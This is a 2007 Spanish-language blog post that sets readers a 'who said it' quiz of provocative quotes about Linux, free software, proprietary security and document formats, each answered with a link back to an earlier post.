¿Qué oscura degeneración hará que caigan en el lado del mal?. Todos, todos, vendidos.

martes, junio 12, 2007

Extraido de Contexto con maldad... ¿o no?

Hola, holita,

En la última codecamp, en la que la gente se lo pasó “turco”, como se puede ver en este post de Ánder, “Sweety” y yo, osea “nasty”, en la charla de “El Rock ha muerto” decidimos hacer un test de conocimientos para ver cuantos están al día de las tonterías que se dicen en el mundo de la informática. El test era un poco más largo, pero he “censurado” algunas preguntas porque ya me llevo peleando mucho esta semana. El objetivo es tan sencillo como adivinar quién ha dicho qué cosa. Son frases extraidas de contexto con maldad... ¿o no?.

Os las dejo aquí. A ver que puntuación sacáis para averiguar vuestro "nivel de maldad".

1.- Linux has never even been a "Free Software" project

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto en este post.

2.- Kernel 2.6 is slowly getting buggier

Respuesta: Lo dijo “éste” y lo dijo aquí y además este otro dijo sobre ello "The worry is certanly real" y ya polemizamos sobre esto en este post.

3.- But when software security and quality really matter—like crossing the Atlantic on a jet airliner—trust me, you want to fly proprietary.

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto en este post.

4.- Spectra: Good Security Staff

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto en este post.

5.- Considering that ODF spent a year receiving public scrutiny and it has holes the size of the Gulf of Mexico, it seems that the call for delaying its adoption [de OOXML] is politically based and not technically based

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto en este post.

6.- No hay empresas buenas, solo quieren empobrecer a la gente.

Respuesta: Lo dijo “éste” y lo dijo "aquí" y ya polemizamos sobre esto, o algo parecido en este post.

7.- [someone] “was harsh in his appraisal of the open-source community: he asserted that security researchers were only interested in finding splashy bugs and posting them to security mailing lists”

Respuesta: Lo dijo “éste” que se le ocurrió esta "vanalidad" y lo dijo "aquí" y ya polemizamos sobre esto en este post.

8.- Me entero [..] que esa absurda tecla con el simbolito de Windows que no utilizas más que cuando tropiezas accidentalmente con ella y te abre el inútil menú de Inicio, resulta tener un interesante conjunto de utilidades en forma de atajos de teclado en combinación con otras teclas.

Respuesta: Todo en este post.

9.- Lo peor de Linux: La instalación de Aplicaciones

Respuesta: Todo en este post.

10.- Me abro y no de patas.
Respuesta: Lo siento, esta es para nota.

¿Cuánto has sacado? ¿Eres muy malvado?

Entrada destacada

Desde HOY es BlackFriday en 0xWord.com Cupón 10% descuento: BLACKFRIDAY2024 y descuentos con Tempos de MyPublicInbox @0xWord @mypublicinbox

Pues este año tenemos el  BlackFriday  durante  7 días , y poco más que decir en el artículo que lo que he puesto en el título del artículo....

Entradas populares